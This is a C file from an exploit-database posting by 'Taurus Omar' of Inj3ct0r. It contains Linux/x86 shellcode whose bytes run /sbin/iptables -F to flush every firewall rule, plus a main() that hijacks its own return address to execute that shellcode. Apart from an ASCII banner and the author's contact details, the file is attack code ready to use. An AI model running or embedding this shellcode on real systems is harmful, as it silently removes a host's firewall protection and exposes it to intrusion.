/* * * 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 * 0 _ __ __ __ 1 * 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 * 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 * 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 * 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 * 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 * 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 * 1 \ \____/ >> Exploit database separated by exploit 0 * 0 \/___/ type (local, remote, DoS, etc.) 1 * 1 1 * 0 [x] Official Website: http://www.1337day.com 0 * 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1 * 0 0 * 1 ========================================== 1 * 0 I'm Taurus Omar Member From Inj3ct0r TEAM 1 * 1 ========================================== 0 * 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1 * | | * | Linux/x86 - Flush-iptables /sbin/iptables | * -------------------------------------------------------------------------- * * +----------------| ABOUT ME |--------------------+ * NAME: TAURUS OMAR - * LINE: INDEPENDENT SECURITY RESEARCHER - * HOME: ACCESOILEGAL.BLOGSPOT.COM - * Fcbook: facebook.com/OMARTAURUS - * TWITTER: @taurusomar_ - * E-MAIL: omar-taurus[at]dragonsecurity[dot]org - * E-MAIL: omar-taurus[at]live[dot]com - * PWNED: #ZUUU - * +------------------------------------------------+ * * Exploit Title: Linux/x86 - Flush-iptables /sbin/iptables * Category: Shellcode */ char shellcode[]= "\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d" "\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12" "\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e" "\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34" "\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }